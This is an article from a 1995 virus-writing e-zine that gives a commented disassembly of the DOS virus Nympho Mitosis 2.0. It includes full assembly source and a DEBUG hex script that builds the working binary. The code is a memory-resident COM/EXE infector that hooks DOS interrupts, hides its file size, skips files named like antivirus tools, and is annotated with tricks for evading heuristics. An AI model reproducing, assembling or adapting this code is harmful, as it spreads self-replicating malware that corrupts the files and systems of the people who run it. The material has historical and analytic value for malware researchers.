Insane Reality issue #7 - (c)opyright 1995 Immortal Riot               File 023 


% Nympho Mitosis 2.0 by Memory Lapse/Phalcon/Skism %

----------------------------------------------------

This is not a contribution virus from ML, but a disassembly of one 
of his kinda old (but interesting) virus, namely NM v.2.0. 


It's a COM/EXE infector with infection upon executes. It will disinfect 
an infected file when it's being opened (both normal and extended). 
It won't however infect the file when it's closed, so I guess this 
virus is pretty easy to remove. (Just scan the HD).



It features a lot of interesting techniques and for further information 
about the virus, study the source code yourself.



Greetings to Memory Lapse.



 - The Unforgiven.



                .model tiny

                .code

                .286

                org     100h



viruslen        equ     (heap-start)

viruslenword    equ     (endvirus-start)/2-1

viruslenpara    equ     44h



start:

                mov     bp,0                    ;Hardcoded delta offset 
                dec     ax

                int     21h                     ;Installation check 
                mov     bx,'ZM'

                jz      restartcarrier

                push    ds

                push    es

                xor     di,di

                mov     ax,es

                dec     ax

                mov     ds,ax                   ;DS:0 points to MCB 
                cmp     [di],bh                 ;Is this block's MCB 
                                                ;the last block in the 
                                                ;chain?

                jne     skip_install

                mov     [di],bl                 ;Remove last block 
                                                ;designation 
                sub     word ptr [di+3],viruslenpara

                                                ;Subtract virus size 
                                                ;from blocksize 
                sub     word ptr [di+12h],viruslenpara

                                                ;subtract virus size 
                                                ;from PSP next freeseg 
                                                ;pointer



                                                ;(-=-) space created (-=-) 


                mov     ax,[di+12h]             ;Get starting segment 
                                                ;of created space 
                mov     ds,ax                   ;DS:0 points to start of it. 
                inc     ax

                mov     es,ax                   ;ES=DS+1

                mov     [di],bh                 ;Start creation of MCB, 
                                                ;Make this the last block 
                                                ;in chain

                mov     word ptr [di+1],8       ;PSP of owning program 
                                                ;now points to DOS so 
                                                ;this block won't 
                                                ;be deallocated. 
                mov     word ptr [di+3],43h     ;Blocksize=virussize. 
                push    cs

                pop     ds                      ;DS=CS

                lea     si,[bp+100h]            ;SI points to start of 
                                                ;virus code in memory 


                xor     di,100h                 ;This seems like a bit 
                                                ;of bullshit to throw 
                                                ;off heuristics. 
                mov     cx,viruslenword         ;Virussize/2 
                rep     movsw                   ;And copy the virus to the 
                                                ;created block in high memory 
                                                ;below TOM 
                mov     ax,offset int21         ;offset int21handler 
                mov     ds,cx                   ;CX=0 because of the REP MOVSW, 
                                                ;nice!



                xchg    ds:[21h*4],ax           ;Offset of int21 vector 
                mov     es:int21offset,ax

                mov     ax,es

                xchg    ds:[21h*4+2],ax         ;Segment of int21 vector 
                mov     es:int21seg,ax

                                                ;Now the original int21 
                                                ;vector is saved in 
                                                ;the highmem block 
                                                ;and the new one is 
                                                ;installed. 
skip_install:

                pop     es                      ;Restore segment registers. 
                pop     ds



restartcarrier:

                lea     si,[bp+restorebytes]

                cmp     bx,cs:[si]              ;if the buffer starts 
                                                ;with 'MZ', then it's 
                                                ;an EXE file. 
                je      restore_exe

                xchg    bh,bl

                sub     bx,cs:[si]

                jz      restore_exe             ;Corny way to compare :), 
                                                ;CMP is non-destructive 
                                                ;SUB, but to throw some 
                                                ;proggies of track he 
                                                ;probably did a 
                                                ;destructive one. 
restore_com:

                mov     di,100h

                push    di

                mov     byte ptr [di],0C3h      ;C3 is RET opcode. 
                call    di                      ;Do a quick return 
                                                ;to 100h, before 
                                                ;restoration, again, 
                                                ;fooling heuristics 
                                                ;is probably the reasoning 
                                                ;behind it. 
                movsb

                movsw                           ;Now restore them. 
                retn                            ;And return again. 


restore_exe:

                mov     ax,es

                add     ax,10h

                add     ax,cs:[si+16h]          ;Fix the CS to restart 
                                                ;EXE at.

                push    ax

                push    word ptr cs:[si+14h]

                retf                            ;And hop there.. 


int21:

                cmp     ax,-1                   ;Installation check? 
                jne     no_chk

                inc     ax                      ;inc ax will turn on 
                                                ;zero flag for ax was 
                                                ;-1 before. Nice! 


                iret                            ;Return result.. 
no_chk:

                cmp     ah,4Eh

                je      handlestealth

                cmp     ah,4Fh

                je      handlestealth

                cmp     ah,11h

                je      fcbstealth

                cmp     ah,12h

                je      fcbstealth

                push    es

                push    ds

                pusha

                xor     bp,bp

                cmp     ax,6C00h                ;Extended open 
                je      extended_open

                cmp     ah,3Dh                  ;Normal open 
                je      go_open

                sub     ax,4B00h

                jz      go_execute              ;Use destructive CMP 
                                                ;to check for file execute. 
pass_int:

                popa                            ;Restore all regs 
                pop     ds

                pop     es



jmporg21:

                db      0eah                    ;JMP FAR opcode 
int21offset     dw      0

int21seg        dw      0



extended_open:

                xchg    dx,si

go_open:

                jmp     open

go_execute:

                jmp     execute

handlestealth:

                call    dofunction

                jc      exitstealth             ;Exit if no file to 
                                                ;stealth info of. 
                pusha

                push    es

                mov     ah,2Fh

                int     21h                     ;Get DTA



                mov     ax,es:[bx+16h]          ;Get filetime from DTA 
                mov     cx,es:[bx+18h]          ;Get filedate from DTA 
                and     ax,1Fh

                and     cx,1Fh

                dec     cx

                xor     ax,cx

                jnz     not_infected

                sub     word ptr es:[bx+1Ah],viruslen

                sbb     es:[bx+1Ch],ax          ;Subtract virussize 
                                                ;from filesize. 


not_infected:

                pop     es

                popa                            ; Restore all regs 


exitstealth:

                retf    2                       ;Return from an int, 
                                                ;but don't restore flags. 
fcbstealth:

                call    dofunction

                test    al,al

                jnz     exitfcbstealth          ;no file found to stealth 
                                                ;info of.

                pusha

                push    es

                mov     ah,51h

                int     21h                     ;Get active PSP segment 


                mov     es,bx

                sub     bx,es:[16h]             ;Subtract

                                                ;segment for parent/self 


                jnz     nostealth

                mov     bx,dx

                mov     al,[bx]                 ;AL is first byte of FCB 
                push    ax

                mov     ah,2Fh

                int     21h                     ;Get DTA pointer. 


                pop     ax

                inc     al

                jnz     no_extended_fcb         ;Test for FCB type. 
                add     bx,7

no_extended_fcb:

                mov     ax,es:[bx+17h]          ;Get filetime from FCB 
                mov     cx,es:[bx+19h]          ;Get filedate from FCB 
                and     ax,1Fh

                and     cx,1Fh

                dec     cx

                xor     ax,cx

                jnz     nostealth

                sub     word ptr es:[bx+1Dh],viruslen

                sbb     es:[bx+1Fh],ax          ;Subtract virussize 
                                                ;from filesize. 
nostealth:

                pop     es

                popa



exitfcbstealth:

                iret



db      '[Nympho Mitosis] v2.0', 0              ;Virusname 
db      'Copyright (c) 1993 Memory Lapse',0     ;Author and copyright 
db      'Phalcon/Skism Canada',0                ;Groupname 


;      ************************************************************* 
;         (-=-)      DISINFECTION ROUTINE ON FILE OPEN      (-=-) 
;      ************************************************************* 
open:

                call    opendsdx

                mov     ax,es:[di+0Dh]          ;Get filetime from DCB/SFT 
                mov     cx,es:[di+0Fh]          ;Get filedate from DCB/SFT 
                and     ax,1Fh

                and     cx,1Fh

                dec     cx

                sub     ax,cx

                jnz     go_endinfect

                call    seek_end

                push    dx                      ;Save

                push    ax                      ;filesize

                sub     ax,18h                  ;Subtract buffersize 
                sbb     dx,bp                   ;from filesize. 
                mov     es:[di+15h],ax          ;Alter filepos in DCB/SFT 
                mov     es:[di+17h],dx          ;to filesize-18h 
                mov     ah,3Fh

                mov     cx,18h

                mov     dx,offset heap

                int     21h                     ;Read last 18h bytes of file. 


                call    seek_start

                mov     ah,40h

                int     21h                     ;Write 18h bytes to start 
                                                ;of file

                pop     ax

                pop     dx                      ;Restore filesize to DX:AX 
                sub     ax,viruslen

                sbb     dx,bp                   ;filesize-virussize 
                mov     es:[di+15h],ax

                mov     es:[di+17h],dx          ;Seek to start of virus 
                                                ;in file.

                mov     ah,40h

                mov     cx,bp

                int     21h                     ;Truncate file at start 
                                                ;of virus code, effectively 
                                                ;removing it from the file. 


                mov     cx,es:[di+0Dh]          ;CX=filetime from DCB/SFT 
                mov     dx,es:[di+0Fh]          ;DX=filetime from DCB/SFT 


                and     cl,0E0h

                inc     cl

                jmp     restoredatetime

go_endinfect:

                jmp     endinfect



execute:

                call    opendsdx

                mov     ax,es:[di+0Dh]          ;Get filetime from DCB/SFT 
                mov     cx,es:[di+0Fh]          ;Get filedate from DCB/SFT 
                and     ax,1Fh

                and     cx,1Fh

                dec     cx

                xor     ax,cx

                jz      go_endinfect2

                mov     ah,3Fh

                mov     cx,18h

                mov     dx,offset restorebytes

                int     21h                     ;Read first 18h bytes 
                                                ;of file to buffer. 


                mov     ax,'ZM'

                mov     si,offset heap

                mov     dx,word ptr [restorebytes]

                cmp     ax,dx                   ;Does it start with MZ? 
                je      infect_exe              ;If so, it's an EXE file 
                xchg    ah,al

                sub     ax,dx                   ;Does it start with ZM? 
                jz      infect_exe              ;If so, it's an EXE file. 
                call    seek_end

                mov     word ptr ds:[101h],ax   ;Enter new value 
                                                ;in hardcoded delta offset. 
                mov     cx,3

                sub     ax,cx

                mov     byte ptr [si],0E9h

                mov     [si+1],ax               ;Leading JMP constructed 
                                                ;in temp. buffer 
                push    cx

                jmp     short finish_infect

go_endinfect2:

                jmp     endinfect

infect_exe:

                mov     ax,es:[di+20h]          ;DI+20h points to 
                                                ;start of filename. 


                cmp     ax,'BT'                 ;TB*.*

                je      go_endinfect2



                cmp     ax,'-F'                 ;F-PROT

                je      go_endinfect2



                cmp     ax,'CS'                 ;McAfee SCAN 
                je      go_endinfect2



                sub     ax,'LC'                 ;McAfee CLEAN 


                jz      go_endinfect2



                call    seek_start



                mov     ah,3Fh

                push    cx

                mov     dx,si

                int     21h                     ;Load first 18h bytes again, 
                                                ;into temp buffer this time. 


                call    seek_end



;               (-) EXE HEADER MODIFICATIONS (-)





                push    dx

                push    ax                      ;Save filesize 


                add     ax,viruslen

                adc     dx,bp                   ;Add virussize. 


                mov     cx,200h

                div     cx

                or      dx,dx

                jz      no_hiccup

                inc     ax

no_hiccup:

                                                ;Size now converted 
                                                ;to 512-byte pages. 


                mov     [si+2],dx               ;Insert new filesize 
                mov     [si+4],ax               ;into EXE header. 
                                                ;(must be in pages) 
                pop     ax

                pop     dx                      ;Restore filesize. 


                mov     cx,10h

                div     cx                      ;Convert to 16-byte para's. 
                sub     ax,[si+8]               ;Subtract headersize. 


                mov     [si+14h],dx             ;Set starting CS:IP 
                mov     [si+16h],ax             ;to end of EXE 


                sub     dx,100h

                mov     word ptr ds:[101h],dx   ;Insert new hardcoded 
                                                ;delta offset 


finish_infect:

                mov     ah,40h

                mov     cx,viruslen

                mov     dx,100h

                int     21h                     ;Append virus to file. 


                call    seek_start



                mov     ah,40h

                pop     cx

                mov     dx,si

                int     21h                     ;Overwrite leading bytes 
                                                ;with modified buffer. 


                mov     cx,es:[di+0Dh]          ;Get filetime from DCB/SFT 
                mov     dx,es:[di+0Fh]          ;Get filedate from DCB/SFT 


                push    dx                      ;Set steath marker 
                and     cx,0FFE0h

                and     dx,1Fh

                dec     dx

                or      cx,dx

                pop     dx



restoredatetime:



                mov     ax,5701h

                int     21h



endinfect:

                mov     ah,3Eh

                int     21h                     ; DOS Services  ah=function 3Eh 
                                                ;  close file, bx=file handle 
                jmp     pass_int



opendsdx:

                mov     ax,3D00h                ;Open file read-only 
                                                ;(won't trigger most 
                                                ;active monitors) 
                call    dofunction

                xchg    bx,ax

                push    bx

                push    cs

                push    cs

                pop     ds

                pop     es

                mov     ax,1220h                ;Get DCB number for 
                                                ;just opened file. 
                int     2Fh                     ; *UNDOCUMENTED* 


                mov     ax,1216h                ;Now get DCB/SFT address 
                                                ;(table with info 
                                                ;on the opened file) 
                mov     bl,es:[di]

                int     2Fh                     ;* UNDOCUMENTED * 


                pop     bx

                mov     word ptr es:[di+2],2    ;Change read mode 
                                                ;to read/write via direct 
                                                ;DCB/SFT fiddling. 
                ret



seek_start:

                mov     es:[di+15h],bp

                mov     es:[di+17h],bp          ;Zero fileposition 
                ret



seek_end:

                push    ds

                lds     ax,dword ptr es:[di+11h]

                                                ;Load filesize from DCB/SFT 
                mov     dx,ds

                mov     es:[di+15h],ax          ;Change current fileposition 
                mov     es:[di+17h],dx          ;in DCB/SFT to EOF 
                pop     ds

                ret



dofunction:

                pushf

                push cs

                call jmporg21

                ret



restorebytes    db 0cdh, 20h

                db 16h dup (0)

heap:

                db 18h dup (?)

endvirus:

                end     start

==================================================================
============== 
N NM200.COM

E 0100 BD 00 00 48 CD 21 BB 4D 5A 74 53 1E 06 33 FF 8C

E 0110 C0 48 8E D8 38 3D 75 44 88 1D 83 6D 03 44 83 6D

E 0120 12 44 8B 45 12 8E D8 40 8E C0 88 3D C7 45 01 08

E 0130 00 C7 45 03 43 00 0E 1F 8D B6 00 01 81 F7 00 01

E 0140 B9 94 01 F3 A5 B8 89 01 8E D9 87 06 84 00 26 A3

E 0150 BC 01 8C C0 87 06 86 00 26 A3 BE 01 07 1F 8D B6

E 0160 FB 03 2E 3B 1C 74 13 86 FB 2E 2B 1C 74 0C BF 00

E 0170 01 57 C6 05 C3 FF D7 A4 A5 C3 8C C0 05 10 00 2E

E 0180 03 44 16 50 2E FF 74 14 CB 3D FF FF 75 02 40 CF

E 0190 80 FC 4E 74 33 80 FC 4F 74 2E 80 FC 11 74 56 80

E 01A0 FC 12 74 51 06 1E 60 33 ED 3D 00 6C 74 12 80 FC

E 01B0 3D 74 0F 2D 00 4B 74 0D 61 1F 07 EA 00 00 00 00

E 01C0 87 D6 E9 C2 00 E9 20 01 E8 2A 02 72 25 60 06 B4

E 01D0 2F CD 21 26 8B 47 16 26 8B 4F 18 25 1F 00 83 E1

E 01E0 1F 49 33 C1 75 0A 26 81 6F 1A 13 03 26 19 47 1C

E 01F0 07 61 CA 02 00 E8 FD 01 84 C0 75 3F 60 06 B4 51

E 0200 CD 21 8E C3 26 2B 1E 16 00 75 2E 8B DA 8A 07 50

E 0210 B4 2F CD 21 58 FE C0 75 03 83 C3 07 26 8B 47 17

E 0220 26 8B 4F 19 25 1F 00 83 E1 1F 49 33 C1 75 0A 26

E 0230 81 6F 1D 13 03 26 19 47 1F 07 61 CF 5B 4E 79 6D

E 0240 70 68 6F 20 4D 69 74 6F 73 69 73 5D 20 76 32 2E

E 0250 30 00 43 6F 70 79 72 69 67 68 74 20 28 63 29 20

E 0260 31 39 39 33 20 4D 65 6D 6F 72 79 20 4C 61 70 73

E 0270 65 00 50 68 61 6C 63 6F 6E 2F 53 6B 69 73 6D 20

E 0280 43 61 6E 61 64 61 00 E8 30 01 26 8B 45 0D 26 8B

E 0290 4D 0F 25 1F 00 83 E1 1F 49 2B C1 75 48 E8 44 01

E 02A0 52 50 2D 18 00 1B D5 26 89 45 15 26 89 55 17 B4

E 02B0 3F B9 18 00 BA 13 04 CD 21 E8 1F 01 B4 40 CD 21

E 02C0 58 5A 2D 13 03 1B D5 26 89 45 15 26 89 55 17 B4

E 02D0 40 8B CD CD 21 26 8B 4D 0D 26 8B 55 0F 80 E1 E0

E 02E0 FE C1 E9 C9 00 E9 CB 00 E8 CF 00 26 8B 45 0D 26

E 02F0 8B 4D 0F 25 1F 00 83 E1 1F 49 33 C1 74 32 B4 3F

E 0300 B9 18 00 BA FB 03 CD 21 B8 4D 5A BE 13 04 8B 16

E 0310 FB 03 3B C2 74 1D 86 E0 2B C2 74 17 E8 C5 00 A3

E 0320 01 01 B9 03 00 2B C1 C6 04 E9 89 44 01 51 EB 57

E 0330 E9 80 00 26 8B 45 20 3D 54 42 74 F4 3D 46 2D 74

E 0340 EF 3D 53 43 74 EA 2D 43 4C 74 E5 E8 8D 00 B4 3F

E 0350 51 8B D6 CD 21 E8 8C 00 52 50 05 13 03 13 D5 B9

E 0360 00 02 F7 F1 0B D2 74 01 40 89 54 02 89 44 04 58

E 0370 5A B9 10 00 F7 F1 2B 44 08 89 54 14 89 44 16 81

E 0380 EA 00 01 89 16 01 01 B4 40 B9 13 03 BA 00 01 CD

E 0390 21 E8 47 00 B4 40 59 8B D6 CD 21 26 8B 4D 0D 26

E 03A0 8B 55 0F 52 83 E1 E0 83 E2 1F 4A 0B CA 5A B8 01

E 03B0 57 CD 21 B4 3E CD 21 E9 FE FD B8 00 3D E8 35 00

E 03C0 93 53 0E 0E 1F 07 B8 20 12 CD 2F B8 16 12 26 8A

E 03D0 1D CD 2F 5B 26 C7 45 02 02 00 C3 26 89 6D 15 26

E 03E0 89 6D 17 C3 1E 26 C5 45 11 8C DA 26 89 45 15 26

E 03F0 89 55 17 1F C3 9C 0E E8 C1 FD C3 CD 20 00 00 00

E 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

E 0410 00 00 00

RCX

0313

W

Q

